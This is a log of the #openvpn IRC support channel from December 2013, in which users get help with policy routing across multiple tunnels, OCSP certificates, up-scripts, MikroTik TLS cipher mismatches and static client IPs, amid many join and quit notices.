12:43 -!- xanderer [~Alex@146-52-76-93-dynip.superkabel.de] has quit [Quit: Leaving.]
13:04 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
13:04 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 250 seconds]
13:07 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:08 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
13:08 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
13:09 -!- JSharpe__ [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
13:12 < mrrg> with multiple tunnels originating from the same box, and headed to the same destination, i'm trying to send client traffic down unique tunnels
13:12 < mrrg> testing with iperf, i should be able to force iperf traffic down a specific tunnel by binding iperf to specific tunnel ip right?
13:12 < mrrg> when I do that and look at tunnel bandwidth usage, it does not appear to work
13:13 < mrrg> i'm using pekster's user accounting script to view the usage per-tunnel
13:13 < mrrg> not sure what i'm missing here...
13:14 <+pekster> You can bind it, but the routing rule/route entries are consulted per usual
13:15 <+pekster> Is this multiple tunnels to the same server? If so, you'll need explicit policy routing (just single rule/route pairs) for each unique IP, otherwise the "first" entry is consulted
13:15 < mrrg> yea, multipel tunnels to same server
13:17 < mrrg> hmm ok thanks. i'll start looking into setting up policy routing
13:17 <+pekster> Yea, so something like `ip rule add from 10.8.0.3 lookup 102; ip route add 10.8.0.0/24 dev tun1 src 10.8.0.3 table 102` or similar. LARTC (see: !lartc) has lots of examples or arbitrary policy routing too
13:18 <+pekster> Obviously you'll need the right network/device pairing; the table number is arbitrary and you could use named tables if you set them up first
13:18 <+pekster> Don't forget a default route if you need one too
13:18 < mrrg> ok, many thanks for the example and explanation
13:26 < john35l> !paste
13:26 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
13:52 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
13:54 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
14:06 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
14:30 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
14:31 < suprsonic> +pekster http://isrlabs.net/wordpress/?p=169 is what I used to create the OCSP signing certificate
14:31 <@vpnHelper> Title: How to set up OCSP using OpenSSL - I-Space Research Labs (at isrlabs.net)
14:31 < suprsonic> but it doesn't seem to work
14:31 < suprsonic> when I use the CA's cert and private key ocsp runs like a champ
14:32 < suprsonic> when creating a key and its csr would the ocspsigning extension need to be assigned at creation before being signed by the CA?
14:32 <+pekster> Nope, only in the resulting X.509 cert
14:32 < suprsonic> yeah, thats what I thought
14:33 < suprsonic> and unfortunately openssl doesn't provide the best ocsp debugging
14:33 <+pekster> The extensions in the CSR are just "hints" to the CA, and easy-rsa does nothing with them; XCA will (IIRC) use them as defaults, but you're of course free to change/remove them before signing
14:34 <+pekster> People who care presumably run `./easyrsa show-req ..` first
14:34 < suprsonic> right and its signed correctly also
14:34 < suprsonic> but when I use the key pair with openssl ocsp server it drops all DMVPN tunnels
14:39 <+pekster> In any event, sounds to me like an issue with openssl's OCSP responder or client; without more info on what is wrong the actual cause remains unknown
14:39 <+pekster> There's #openssl, though it's pretty low-traffic
14:39 < suprsonic> agreed
14:39 < suprsonic> yeah, Im in there now, just trying to figure out how I want to phrase my question
14:40 <+pekster> Maybe try the openssl-users ML
14:40 < suprsonic> thanks
14:40 <+pekster> And as before, if you get it working to the point that it's useful enough to others, ping me or open a github pull request as I'm happy to include functional improvements
14:41 < suprsonic> will do
14:41 < suprsonic> thanks
14:54 -!- dgbaley27 [~matt@c-76-120-64-12.hsd1.co.comcast.net] has joined #openvpn
14:55 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
14:56 < dgbaley27> I'm trying to push a route for the network on which the server is listening for connections. Is there an easy way to install a host route to the client so it can still find the server over it's original gateway? I know this happens when you push the server as the default gateway...
14:57 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
14:59 < dgbaley27> Oh shoot, nevermind, I see "net_gateway" in the man page
15:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:42 -!- john35l [~john35l@109.201.154.145] has quit []
15:52 -!- dgbaley27 [~matt@c-76-120-64-12.hsd1.co.comcast.net] has left #openvpn ["ISON nickserv"]
16:08 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 264 seconds]
16:11 -!- Saul775 [~Saul@67.138.231.194] has quit [Ping timeout: 272 seconds]
16:14 -!- xBytez [~xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
16:14 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
16:15 -!- C1ph3r [~Cipher@unaffiliated/c1ph3r] has quit [Ping timeout: 246 seconds]
16:16 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 250 seconds]
16:17 -!- C1ph3r [~Cipher@unaffiliated/c1ph3r] has joined #openvpn
16:21 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
16:24 -!- xBytez [~xBytez@unaffiliated/xbytez] has joined #openvpn
16:33 -!- xBytez [~xBytez@unaffiliated/xbytez] has quit [Read error: Connection reset by peer]
16:36 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
16:37 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
16:37 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
16:37 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
16:44 -!- akurilin [~alex@208.185.21.146] has joined #openvpn
16:44 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
16:47 -!- ska [~ska@unaffiliated/ska] has joined #openvpn
17:09 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
17:13 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
17:28 -!- i7c is now known as i7a
17:30 -!- i7a is now known as i7c
17:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
17:58 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Quit: ZNC - http://znc.in]
18:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:22 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
18:26 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
18:42 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
18:45 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
18:49 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
18:49 -!- xrosnight [~quassel@183.234.77.221] has quit [Changing host]
18:49 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
19:47 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
19:47 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
21:23 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
21:49 -!- codehero [codehero@irc.coding4coffee.org] has quit [Read error: Connection reset by peer]
21:50 -!- crus [~crusader@2001:44b8:319e:2900:218e:9989:b28d:fc7a] has quit [Ping timeout: 245 seconds]
21:54 -!- crus [~crusader@2001:44b8:319e:2900:acdd:68e7:5fbe:82cd] has joined #openvpn
21:57 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
21:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:18 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
22:38 -!- lilibox [~franta_bi@93.99.40.10] has quit [Ping timeout: 252 seconds]
22:38 -!- lilibox [~franta_bi@93.99.40.10] has joined #openvpn
22:45 -!- codehero [codehero@irc.coding4coffee.org] has quit [Quit: ZNC / WeeChat]
22:47 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
22:55 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
22:55 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
23:20 -!- moyam01 [~moyam01@2607:f790:fff0:ffff:158::] has joined #openvpn
23:21 < moyam01> hello. i am trying to run a command once the openvpn connection is up on a client i trued adding up _command_ to the client conf file, but to no avail. can any one help?
23:22 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:22 < moyam01> specifically i want to run an ip rule and ip route command
23:23 <+pekster> moyam01: You might prefer the --route-up command. Review that, and perhaps --up, and also --script-security
23:23 <+pekster> Drop your commands in some external script (shell script is fine) and you can do whatever you need
23:24 < moyam01> so in the clinet conf file i would just nedd to tupe "up /name/of/shell/script.sh"?
23:25 < moyam01> type*
23:25 < moyam01> above that "script-security 2"? i assume its two from the man page
23:26 <+pekster> yup
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
23:42 < moyam01> thank you got it working
23:52 -!- Ghormoon [~Ghormoon@gshadowcat.sh.cvut.cz] has joined #openvpn
23:57 < Ghormoon> hi, anyone ever tried openvpn client on mikrotik? it fails with TLS error, is it possible to set up tls, or should I give up? client config I try to simulate (I haven't found a way to give it .ovpn file directly) http://pastebin.com/35mBh6vK
--- Day changed Sat Dec 07 2013
00:06 <+pekster> Without the error in question it is impossible to say more than "something went wrong." server-side configs will be relevant too
00:07 < Ghormoon> log: http://pastebin.com/kJXu7hDH
00:09 < Ghormoon> server conf http://pastebin.com/6HvVZN0b
00:09 <+pekster> Line 7 suggests misconfigured crypto settings between peers
00:10 < Ghormoon> I'm almost sure actual config doesn't take in account tls, but I have npo idea how to force mikrotik to use it :)
00:10 <+pekster> mis-matched tls-cipher
00:10 < Ghormoon> interface ovpn-client add connect-to=37.205.10.123 port=42900 mode=ip cipher=aes128 name=gNet certificate=cert_1 auth=sha1 add-default-route=no max-mtu=1500 user=gShadowCat.vpn.ghorland.net disabled=no
00:10 <+pekster> You've forced a _single_ cipher on both ends and it doesn't match
00:11 <+pekster> I have no clue what that nonsense means
00:11 <+pekster> It's not openvpn
00:11 <+pekster> If you need help with some frontend that's broken, as the authors of the broken frontend
00:11 < Ghormoon> well, the problem is that mikrotik doesn't have full openvpn, like it doesn't have lzo, udp ... maybe even the tls :(
00:12 < Ghormoon> that's why I ask if someone ever tried it on it
00:13 < Ghormoon> btw is there any better way to make vpn both udp and tcp than two configs? (or at least force them use the same subnet)?
00:13 < Ghormoon> I use udp always, but I need tcp for the mikrotik :(
00:13 <+pekster> Then get a less shitty platform
00:14 < Ghormoon> well, tohught it would be better than casual cheap routers ... turned out it's not :(
00:14 <+pekster> This sounds as awful as network-manager or the "Connect" product
00:15 <+pekster> That, or you're just using the pretty frontend and need to be configuring it "manually"
00:15 < Ghormoon> actually I'm ssh'd to the router, no idea how to do it from the web config :D
00:15 < Ghormoon> but yeah, the openvpn implementation on mikrotik is ****
00:15 <+pekster> Then what is that crap you spat earlier. user=blahblahblah
00:16 <+pekster> That's _not_ openvpn
00:16 <+pekster> #openvpn helps with openvpn
00:16 <+pekster> At any rate, the tls-cipher you used doesn't match in the configs you pasted
00:17 <+pekster> It's also a _horrible_ idea to use a non-DHE cipher
00:17 <+pekster> !hardening
00:17 <@vpnHelper> "hardening" is https://community.openvpn.net/openvpn/wiki/Hardening
00:17 <+pekster> Read the bit about --tls-cipher
00:18 < Ghormoon> I've got another router in the network for hich I didn't have more than 2.0 at that time, I may check again
00:18 <+pekster> Verify the ta.key matches too, although I think the error would say something else in that case
00:21 < Ghormoon> btw the tls cipher is just for the metadata, it doesn't really slow down anything later, so it's ok to put 256bit there?
00:22 < Ghormoon> something like TLS-DHE-RSA-WITH-AES-256-CBC-SHA ?
00:22 <+pekster> Both sides must have a mutual TLS cipher
00:23 <+pekster> And yes, I'd recommend that cipher as the strongest TLSv1.0 you have
00:23 < Ghormoon> yep, but for the vpn itles, i use 128bit aes because some of the clients are too slow on 256
00:23 < Ghormoon> *clients
00:23 < Ghormoon> so the point is if the tls slows down traffic or not
00:24 < Ghormoon> if it slows down just the connection, nothing really happens
00:25 <+pekster> TLS is only used at initial handshake and re-auths, plus minor stuff like keepalive traffic
00:25 < Ghormoon> ok then
00:25 <+pekster> Data traffic is encrypted/signed as defined in --cipher an --auth
00:26 -!- tapout [~tapout@unaffiliated/tapout] has quit [Ping timeout: 240 seconds]
00:26 -!- Fetch_ [fetch@gimel.cepheid.org] has joined #openvpn
00:27 < Ghormoon> i have 128bit aes, but that should be enough, main purpose of the vpn is 1) get to home router when I need 2) have gateway when I'm on free wifi like KFC, nobody will be cracking aes there ...
00:27 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has quit [Ping timeout: 240 seconds]
00:28 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
00:28 -!- Fetch [fetch@gimel.cepheid.org] has quit [Ping timeout: 252 seconds]
00:28 <+pekster> Depends on your hardware, but you'll generally get faster crypto with blowfish (that's why it's the default)
00:29 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
00:29 < Ghormoon> I don;t really know much bout blowfish, but it sound too weak for me :D
00:30 <+pekster> Your choice, but I recommend making decisions about ciphers based on cryptonalysis, not "sounds"
00:30 <+pekster> wikipedia isn't a bad place to start
00:32 < Ghormoon> btw what happens when you have two configs on server with the same subnet? I mean the in-vpn ip
00:35 <+pekster> Routing 101: you're not allowed to do that
00:35 <+pekster> (advanced exceptions existing f.ex. as in RFC6598, but if you don't understand the implications, just assume you can't do it as a solid rule)
00:36 < Ghormoon> just if there's any option to force openvpn treat all the configs as one network
00:36 <+pekster> If you run multiple instances you must use unique networks
00:37 <+pekster> You have all of RFC1918 to choose from; why is that a problem?
00:37 < Ghormoon> just that I won't remember where which client is, seems I'll have to set up a DNS :D
00:37 <+pekster> Do you need more than 65,536 VPNs? That's how many /24's are in a /8 ;)
00:37 < Ghormoon> no, just want both TCP and UDP clients in one network :) but I may route it on the server
00:38 <+pekster> Yup, do that. Your other choice is to run 2 taps and bridge them, but that's complex and less efficient and best avoided. Routing: less filling, tastes great™
00:38 < Ghormoon> the network is connecting my home network, my uncles home, my college, my notebook, mobile phones and such ... seems the DNS will be a way
00:39 < Ghormoon> btw is there any way to force client IP?
00:39 <+pekster> !static
00:39 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
00:40 < Ghormoon> ok, most propably best idea is to make it shorter and take static fromv the end, like 254, 253, ...
00:41 <+pekster> Doesn't matter where you take it from
00:41 <+pekster> Just reduce the pool, per (#4) above
00:42 < Ghormoon> actually the vpn tends to give the same IP usually, but it would be better to force it if I'll be messing with DNS anyway
00:43 <+pekster> Right again, unless you want to script a way to update DNS with the IP openvpn gives; you can leave it completely dynamic then
00:43 < Ghormoon> well, also a way, but I won't be adding clients that often to make it worth it
00:47 -!- akurilin [~alex@208.185.21.146] has quit [Quit: WeeChat 0.4.2]
00:52 < Ghormoon> i think I've broke something, cut off all clients :D
01:08 -!- Romance [~pink@unaffiliated/yusuke] has joined #openvpn
01:08 < Romance> i got this error " Cannot load inline certificate file: error:0906D066:PEM routines:PEM_read_bio:bad end line" when i tried sudo openvpn --config o.vpn --verb 5
01:10 <+pekster> Crystal ball says o.vpn has a mistake in the inline certificate file
01:10 <+pekster> !crystal
01:10 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
01:12 < Romance> !welcome
01:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
01:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
01:17 -!- Romance [~pink@unaffiliated/yusuke] has left #openvpn ["WeeChat 0.4.3-dev"]
02:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
02:42 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Remote host closed the connection]
03:07 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has left #openvpn []
03:24 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:57 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 240 seconds]
04:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
04:23 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
04:27 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
04:27 -!- kro[au] [~thatguy@kgovps.net] has quit [Read error: Operation timed out]
04:29 -!- kro[au] [~thatguy@kgovps.net] has joined #openvpn
04:31 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
04:31 -!- mode/#openvpn [+o dazo_afk] by ChanServ
04:32 -!- dazo_afk is now known as dazo
04:52 -!- takamich_ [~takamichi@85.12.8.13] has joined #openvpn
04:52 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
05:18 -!- takamich_ [~takamichi@85.12.8.13] has quit [Ping timeout: 246 seconds]
05:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:31 -!- Azrael_- [~idjfiawej@adsl-84-226-104-200.adslplus.ch] has quit [Ping timeout: 252 seconds]
05:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:50 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:50 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
05:51 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:01 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:04 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
06:19 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has quit [Ping timeout: 246 seconds]
06:25 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has joined #openvpn
06:45 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:56 -!- Ghormoon [~Ghormoon@gshadowcat.sh.cvut.cz] has quit [Quit: Kicked out my uplink cable ... again ...]
07:11 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:27 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
07:29 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:32 -!- Fetch_ is now known as Fetch
07:34 -!- synchrone [~syn@p549FD1CF.dip0.t-ipconnect.de] has joined #openvpn
07:34 < synchrone> hi everyone
07:35 < synchrone> are there any requirements on DN values for ca.crt and server or client .crt ?
07:36 < synchrone> because my client refuses to connect to my server, throwing error about self-signed cert with DN /C=US/ST=CA/L=SanFrancisco/O=Fort-Funston/CN=Fort-Funston_CA/emailAddress=me@myhost.mydomain
07:36 < synchrone> which is definetely not what i've specified
07:36 < synchrone> and i checked my certs with openssl
07:48 -!- C1ph3r [~Cipher@unaffiliated/c1ph3r] has quit [Quit: leaving]
07:48 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
07:48 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:49 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
07:51 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
07:51 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
07:51 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
07:52 -!- pagios [pagioss@gateway/shell/bnc4free/x-fiqzpvjpkszqowzw] has quit [Excess Flood]
07:54 -!- pagioss [pagioss@gateway/shell/bnc4free/x-qgkskfkttepslqjg] has joined #openvpn
07:55 -!- pagioss is now known as pagios
08:22 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
08:22 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
08:22 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
08:22 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
08:36 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
08:37 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Quit: Tension, apprehension, and dissension have begun.]
08:37 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
08:39 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:40 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
08:40 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
08:40 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
08:43 -!- xrosnight [~quassel@113.83.18.133] has joined #openvpn
08:46 -!- xrosnight [~quassel@113.83.18.133] has quit [Changing host]
08:46 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
09:02 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:05 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
09:07 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Quit: No Ping reply in 180 seconds.]
09:08 -!- xrosnight [~quassel@113.83.18.133] has joined #openvpn
09:17 < ska> I have a server-client PKI setup. On the client, I have a bridged interface that speaks to several Virtual Machines on that same client host.
09:17 < ska> From the Server I'd like to be able to talk to those VM's on that client (vm host).
09:18 < ska> Is there a way to setup routes to do so, and where should those routes be defined?
09:19 < ska> Will proxy.arp help?
09:23 -!- kubbing_ [~kubbing@ip-78-102-124-238.net.upcbroadband.cz] has joined #openvpn
09:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
09:26 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has joined #openvpn
09:38 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has quit [Quit: luc|dz]
09:40 -!- master_of_master [~master_of@p4FF2437C.dip0.t-ipconnect.de] has joined #openvpn
09:42 -!- Netsplit *.net <-> *.split quits: ska, Kuba, Mike--, obesd, codehero, synchrone
09:44 -!- master_o1_master [~master_of@p4FD7B4DE.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds]
09:56 -!- xrosnight [~quassel@113.83.18.133] has quit [Remote host closed the connection]
09:56 -!- xrosnight [~quassel@113.83.18.133] has joined #openvpn
09:57 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has joined #openvpn
09:57 -!- xrosnight [~quassel@113.83.18.133] has quit [Changing host]
09:57 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
10:08 -!- codehero [codehero@irc.coding4coffee.org] has joined #openvpn
10:08 -!- ska [~ska@unaffiliated/ska] has joined #openvpn
10:08 -!- obesd [~obsed@ppp121-45-210-202.lns20.cbr1.internode.on.net] has joined #openvpn
10:08 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
10:08 -!- Mike-- [mad@mx.probie.nl] has joined #openvpn
10:08 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
10:08 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
10:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
10:17 -!- kubbing_ [~kubbing@ip-78-102-124-238.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
10:22 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
10:27 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
10:29 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Quit: No Ping reply in 180 seconds.]
10:30 -!- xrosnight [~quassel@113.83.18.133] has joined #openvpn
10:30 <@EugeneKay> !route
10:30 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
10:30 <@vpnHelper> client
10:30 <@EugeneKay> !clientlan
10:30 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
10:30 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
10:38 -!- luc|dz [~kali@unaffiliated/lucdz/x-1796168] has quit [Quit: luc|dz]
10:41 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
11:29 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
11:36 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
11:36 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
11:36 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
11:43 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
11:46 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
11:46 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
11:46 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
11:51 -!- lilibox [~franta_bi@93.99.40.10] has quit [Ping timeout: 250 seconds]
12:28 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
12:30 -!- lilibox [~franta_bi@93.99.40.10] has joined #openvpn
12:31 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
12:31 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
12:31 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
12:46 -!- stephan48 [stephan@opennic/stephan] has quit [Ping timeout: 272 seconds]
12:47 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
12:47 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
12:47 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
12:54 -!- babilen [~babilen@unaffiliated/babilen] has joined #openvpn
12:58 -!- __FBi [~B@uwantmy.info] has joined #openvpn
12:58 < __FBi> Anyone have time for spoon feeding?
13:01 < __FBi> I'm trying to connect my phone to my VPN, which I don't believe I have setup up properly.  Debian & Android
13:01 < __FBi> TLS Handshake failed
13:05 < __FBi> error: self signed cert. in cert. chain
13:15 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
13:36 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
13:39 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
13:40 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
13:41 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 250 seconds]
14:16 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
14:23 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
14:28 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
14:31 -!- toobluesc [~nitro@2001:558:6045:7b:3d70:c3df:18a:884] has quit [Quit: Ex-Chat]
